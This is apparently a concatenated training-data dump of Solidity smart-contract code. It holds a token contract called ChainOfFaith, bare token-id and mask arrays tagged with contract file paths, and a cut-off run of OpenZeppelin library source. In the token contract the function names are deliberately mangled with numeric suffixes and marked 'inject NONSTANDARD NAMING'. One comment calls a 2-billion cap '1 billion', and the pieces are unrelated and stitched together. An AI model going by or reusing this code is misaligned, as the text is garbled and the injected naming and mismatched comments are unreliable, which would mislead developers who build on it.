ONLYOWNER540 { //inject NONSTANDARD NAMING require(newOwner != address(0)); _owner = newOwner; emit OWNERSHIPTRANSFERRED839(_owner, newOwner); } function RESCUETOKENS997(address tokenAddr, address receiver, uint256 amount) external ONLYOWNER540 { //inject NONSTANDARD NAMING IERC20 _token = IERC20(tokenAddr); require(receiver != address(0)); uint256 balance = _token.BALANCEOF441(address(this)); require(balance >= amount); assert(_token.TRANSFER28(receiver, amount)); } function WITHDRAWETHER684(address payable to, uint256 amount) external ONLYOWNER540 { //inject NONSTANDARD NAMING require(to != address(0)); uint256 balance = address(this).balance; require(balance >= amount); to.transfer(amount); } } contract Pausable is Ownable { bool private _paused; event PAUSED954(address account); //inject NONSTANDARD NAMING event UNPAUSED286(address account); //inject NONSTANDARD NAMING constructor () internal { _paused = false; } function PAUSED229() public view returns (bool) { //inject NONSTANDARD NAMING return _paused; } modifier WHENNOTPAUSED225() { //inject NONSTANDARD NAMING require(!_paused); _; } modifier WHENPAUSED333() { //inject NONSTANDARD NAMING require(_paused); _; } function PAUSE345() external ONLYOWNER540 WHENNOTPAUSED225 { //inject NONSTANDARD NAMING _paused = true; emit PAUSED954(msg.sender); } function UNPAUSE328() external ONLYOWNER540 WHENPAUSED333 { //inject NONSTANDARD NAMING _paused = false; emit UNPAUSED286(msg.sender); } } contract ChainOfFaith is Ownable, Pausable, IERC20 { using SafeMath for uint256; string private _name = "ChainOfFaith"; string private _symbol = "XKY"; uint256 private _decimals = 18; // 18 decimals uint256 private _cap = 2000000000 * 10 **_decimals; // 1 billion cap uint256 private _totalSupply; mapping (address => bool) private _minter; event MINT409(address indexed to, uint256 value); //inject NONSTANDARD NAMING event MINTERCHANGED454(address account, bool state); //inject NONSTANDARD NAMING mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; event DONATE221(address indexed account, uint256 amount); //inject NONSTANDARD NAMING constructor() public { _minter[msg.sender] = true; } function () external payable { emit DONATE221(msg.sender, msg.value); } function NAME279() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL160() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS981() public view returns (uint256) { //inject NONSTANDARD NAMING return _decimals; } function CAP336() public view returns (uint256) { //inject NONSTANDARD NAMING return _cap; } function TOTALSUPPLY34() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF441(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[owner]; } function ALLOWANCE331(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowed[owner][spender]; } function TRANSFER28(address to, uint256 value) public WHENNOTPAUSED225 returns (bool) { //inject NONSTANDARD NAMING // Normal Transfer _TRANSFER463(msg.sender, to, value); return true; } function APPROVE505(address spender, uint256 value) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE461(msg.sender, spender, value); return true; } function INCREASEALLOWANCE237(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE461(msg.sender, spender, _allowed[msg.sender][spender].ADD107(addedValue)); return true; } function DECREASEALLOWANCE179(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE461(msg.sender, spender, _allowed[msg.sender][spender].SUB463(subtractedValue)); return true; } function TRANSFERFROM551(address from, address to, uint256 value) public WHENNOTPAUSED225 returns (bool) { //inject NONSTANDARD NAMING require(_allowed[from][msg.sender] >= value); _TRANSFER463(from, to, value); _APPROVE461(from, msg.sender, _allowed[from][msg.sender].SUB463(value)); return true; } function _TRANSFER463(address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING require(to != address(0)); _balances[from] = _balances[from].SUB463(value); _balances[to] = _balances[to].ADD107(value); emit TRANSFER884(from, to, value); } function _APPROVE461(address owner, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require(owner != address(0)); require(spender != address(0)); _allowed[owner][spender] = value; emit APPROVAL336(owner, spender, value); } modifier ONLYMINTER928() { //inject NONSTANDARD NAMING require(_minter[msg.sender]); _; } function ISMINTER255(address account) public view returns (bool) { //inject NONSTANDARD NAMING return _minter[account]; } function SETMINTERSTATE291(address account, bool state) external ONLYOWNER540 { //inject NONSTANDARD NAMING _minter[account] = state; emit MINTERCHANGED454(account, state); } function MINT898(address to, uint256 value) public ONLYMINTER928 returns (bool) { //inject NONSTANDARD NAMING _MINT906(to, value); return true; } function _MINT906(address account, uint256 value) internal { //inject NONSTANDARD NAMING require(_totalSupply.ADD107(value) <= _cap); require(account != address(0)); _totalSupply = _totalSupply.ADD107(value); _balances[account] = _balances[account].ADD107(value); emit MINT409(account, value); emit TRANSFER884(address(0), account, value); } }
inject NONSTANDARD NAMING
function TOTALSUPPLY34() public view returns (uint256) {
7,319,095
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 399, 19851, 13272, 23893, 5026, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0xb86c6d5215CDf5BAC0aD4b84bcBbBB87831892d6/sources/ETRONToken.sol
UPDATE!!!! wallet1 for team tokens (WALL)
address teamWallet = 0xd0787975B33687F8A6e4Fc15B6222623C3D46Bca;
5,341,372
[ 1, 8217, 23045, 225, 9230, 21, 364, 5927, 2430, 261, 59, 4685, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1758, 5927, 16936, 273, 374, 7669, 20, 8285, 7235, 5877, 38, 3707, 9470, 27, 42, 28, 37, 26, 73, 24, 42, 71, 3600, 38, 26, 3787, 5558, 4366, 39, 23, 40, 8749, 38, 5353, 31, 6647, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xCCab7654B7144AA7Eb4980433A36a3A37E958a29/sources/project_/contracts/ProofOfWorkCoin.sol
@dev Allows any user to mine new tokens by providing a nonce. @param _nonce The nonce to be used for minting.
function mine(uint256 _nonce) public { _mine(_nonce, msg.sender); }
1,950,126
[ 1, 19132, 1281, 729, 358, 312, 558, 394, 2430, 635, 17721, 279, 7448, 18, 225, 389, 12824, 1021, 7448, 358, 506, 1399, 364, 312, 474, 310, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 558, 12, 11890, 5034, 389, 12824, 13, 1071, 288, 203, 3639, 389, 3081, 24899, 12824, 16, 1234, 18, 15330, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts/access/roles/WhitelistAdminRole.sol pragma solidity ^0.5.0; /** * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. */ contract WhitelistAdminRole is Context { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () internal { _addWhitelistAdmin(_msgSender()); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(_msgSender()); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } // File: @openzeppelin/contracts/access/roles/WhitelistedRole.sol pragma solidity ^0.5.0; /** * @title WhitelistedRole * @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a * crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove * it), and not Whitelisteds themselves. */ contract WhitelistedRole is Context, WhitelistAdminRole { using Roles for Roles.Role; event WhitelistedAdded(address indexed account); event WhitelistedRemoved(address indexed account); Roles.Role private _whitelisteds; modifier onlyWhitelisted() { require(isWhitelisted(_msgSender()), "WhitelistedRole: caller does not have the Whitelisted role"); _; } function isWhitelisted(address account) public view returns (bool) { return _whitelisteds.has(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { _addWhitelisted(account); } function removeWhitelisted(address account) public onlyWhitelistAdmin { _removeWhitelisted(account); } function renounceWhitelisted() public { _removeWhitelisted(_msgSender()); } function _addWhitelisted(address account) internal { _whitelisteds.add(account); emit WhitelistedAdded(account); } function _removeWhitelisted(address account) internal { _whitelisteds.remove(account); emit WhitelistedRemoved(account); } } // File: @openzeppelin/contracts/drafts/Strings.sol pragma solidity ^0.5.0; /** * @title Strings * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to a `string`. * via OraclizeAPI - MIT licence * https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol */ function fromUint256(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.5.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/drafts/Counters.sol pragma solidity ^0.5.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: 